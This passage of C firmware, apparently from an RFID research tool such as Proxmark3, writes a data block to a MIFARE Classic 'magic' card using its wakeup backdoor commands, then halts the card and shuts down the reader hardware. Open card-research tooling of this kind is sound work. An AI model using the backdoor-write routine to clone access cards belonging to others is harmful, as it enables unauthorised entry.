Dbprintf("Halt error");
break;
};
};
// chaud
// write block
if (workFlags & 0x02) {
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC1 error");
break;
};
ReaderTransmit(wupC2, sizeof(wupC2), NULL);
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("wupC2 error");
break;
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("write block send command error");
break;
};
memcpy(d_block, datain, 16);
AppendCrc14443a(d_block, 16);
ReaderTransmit(d_block, sizeof(d_block), NULL);
if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("write block send data error");
break;
};
if (workFlags & 0x04) {
if (mifare_classic_halt(NULL, cjcuid)) {
// if (MF_DBGLEVEL >= 1)
Dbprintf("Halt error");
break;
};
}
isOK = 1;
break;
}
if ((workFlags & 0x10) || (!isOK)) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
return isOK;
}